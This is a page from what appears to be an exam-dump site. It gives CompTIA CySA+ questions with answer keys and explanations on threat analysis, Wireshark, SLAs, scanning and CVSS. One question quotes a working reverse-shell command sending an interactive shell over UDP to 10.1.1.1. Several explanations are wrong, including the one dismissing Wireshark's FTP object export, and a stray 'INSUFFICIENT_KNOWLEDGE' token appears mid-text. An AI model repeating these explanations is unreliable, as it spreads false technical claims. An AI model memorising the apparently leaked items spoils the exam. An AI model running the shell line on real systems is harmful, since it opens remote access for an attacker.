support@Free-Braindumps.com
Register Login
Cisco
CompTIA
ISC
EC-Council
EXIN
Fortinet
ITIL
Juniper
Microsoft
VMware
Avaya
SAP
Google
NVIDIA
Salesforce
Amazon
Palo Alto Networks
ISC2
Splunk
ServiceNow
All Vendors
  1. Home
  2. Exams
  3. CompTIA
  4. CS0-003

CompTIA CS0-003 Exam Actual Questions
CompTIA CySA+ (CS0-003) (Page 6 )

Updated On: 13-Jun-2026
Page 6 of 73
PDF with 571 Questions

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?

  1. Firewall logs
  2. Indicators of compromise
  3. Risk assessment
  4. Access control lists

Answer(s): C

Explanation:

Option C is correct because a risk assessment synthesizes threat data, vulnerabilities, likelihoods, and impact to produce an executive briefing on potential threats. It provides scoped, prioritized risk information suitable for leadership decisions.
A) Incorrect — Firewall logs contain network traffic and rule activity but do not by themselves summarize overall organizational threats for an executive briefing.
B) Incorrect — Indicators of compromise identify known malicious artifacts but are not organized into a high-level threat brief or risk narrative.
D) Incorrect — Access control lists define permissions but do not provide threat landscape or risk prioritization for executives.



An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

  1. Beaconing
  2. Cross-site scripting
  3. Buffer overflow
  4. PHP traversal

Answer(s): A

Explanation:

Option A is correct because beaconing describes periodic or irregular outbound traffic from an internal host to external destinations (often C2) that can include anomalous header content, indicating hidden or command-and-control communications. Incorrect — B: Cross-site scripting involves injecting scripts into web pages, not internal-to-external traffic patterns. Incorrect — C: Buffer overflow is a memory corruption vulnerability, not an observation of header content in network traffic. Incorrect — D: PHP traversal (path traversal) attempts to access files outside the web root, not related to HTTPS header anomalies to a malicious IP.



A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are

several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?

  1. Change the display filter to ftp.active.port
  2. Change the display filter to tcp.port==20
  3. Change the display filter to ftp-data and follow the TCP streams
  4. Navigate to the File menu and select FTP from the Export objects option

Answer(s): C

Explanation:

Option C is correct because ftp-data contains the actual data connection payload for FTP transfers; using the filter ftp-data and following TCP streams reconstructs and displays the file contents across the control/data channels, showing the entire downloaded file in Wireshark.
A) Incorrect — ftp.active.port narrows to active FTP control/port behavior, not the data payload contents.
B) Incorrect — tcp.port==20 targets the FTP data port in active mode but not the general data stream visibility or reconstruction when using the passive/streamed data channel.
D) Incorrect — Export objects from FTP is a browser-like feature not applicable to Wireshark’s packet data reconstruction.



A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

  1. SLA
  2. MOU
  3. NDA
  4. Limitation of liability

Answer(s): A

Explanation:

Option A is correct because SLAs (Service Level Agreements) define contractual obligations for service performance, including timelines for remediation and communication with customers. B) MOU outlines mutual understanding or intent but is not a formal service contract with enforceable remediation timelines. C) NDA covers confidentiality, not service delivery or remediation obligations. D) Limitation of liability clauses cap damages but do not define remediation response requirements or service metrics.



Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

  1. Command and control
  2. Actions on objectives
  3. Exploitation
  4. Delivery

Answer(s): A

Explanation:

Option A is correct because Command and Control (C2) involves establishing and maintaining communication channels with a compromised host to control it and exfiltrate data. Incorrect — B: Actions on objectives occurs after foothold is established, focusing on achieving attacker goals; not about establishing communication. Incorrect — C: Exploitation is the stage where the adversary takes advantage of a vulnerability to gain initial access, not the ongoing communication with the target. Incorrect — D: Delivery refers to delivering the weaponized payload to the target (phishing, drive-by), not maintaining C2 communication.



A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

  1. External
  2. Agent-based
  3. Non-credentialed
  4. Credentialed

Answer(s): B

Explanation:

Option B is correct because agent-based scanning distributes the workload to endpoints, reducing centralized network traffic while maintaining coverage across diverse, dynamic IP environments. It also enables authenticated assessment on hosts behind NAT or firewalls, improving accuracy with lower network impact.
A) Incorrect — External scans target only externally reachable surfaces and can miss internal assets, leading to intermittent or higher traffic during broad sweeps rather than reduced network load.
C) Incorrect — Non-credentialed scans rely on unauthenticated checks, often requiring more network chatter to infer vulnerabilities and may miss issues, increasing remediation cycles.
D) Incorrect — Credentialed scans require access credentials to hosts, which is more invasive and may increase initial setup traffic; however, not inherently lower traffic than agent-based approaches.



A security analyst detects an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>$l

Which of the following is being attempted?

  1. RCE
  2. Reverse shell
  3. XSS
  4. SQL injection

Answer(s): B

Explanation:

Option B is correct because the command uses a shell to create an interactive shell (-i) and redirects input/output over UDP to a remote host, which is characteristic of a reverse shell establishing reverse communication to an attacker. Incorrect — A) RCE refers to remote code execution generally, not specifically the shell connection method shown. Incorrect — C) XSS is a web injection that targets client-side scripts, not shell access. Incorrect — D) SQL injection targets databases through SQL queries, not shell/tcp/udp redirection.



An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

  1. Scope
  2. Weaponization
  3. CVSS
  4. Asset value

Answer(s): B

Explanation:

Option B is correct because weaponization reflects turning a vulnerability into an active exploit, including readily available tooling and malware (ransomware) that increases exploitability and impact, thus elevating the score. A) Scope is not the primary driver for a CVSS score change; it describes the extent of impact but not exploit availability. C) CVSS is the scoring framework itself, not a factor that explains escalation. D) Asset value relates to impact assessment but does not account for the presence of a weaponized exploit increasing risk. INSUFFICIENT_KNOWLEDGE



  PDF
Viewing page 6 of 73
Viewing questions 41 - 48 out of 571 questions


CS0-003 Exam Discussions & Posts (Share your experience with others)

AI Tutor AI Tutor 👋 I’m here to help!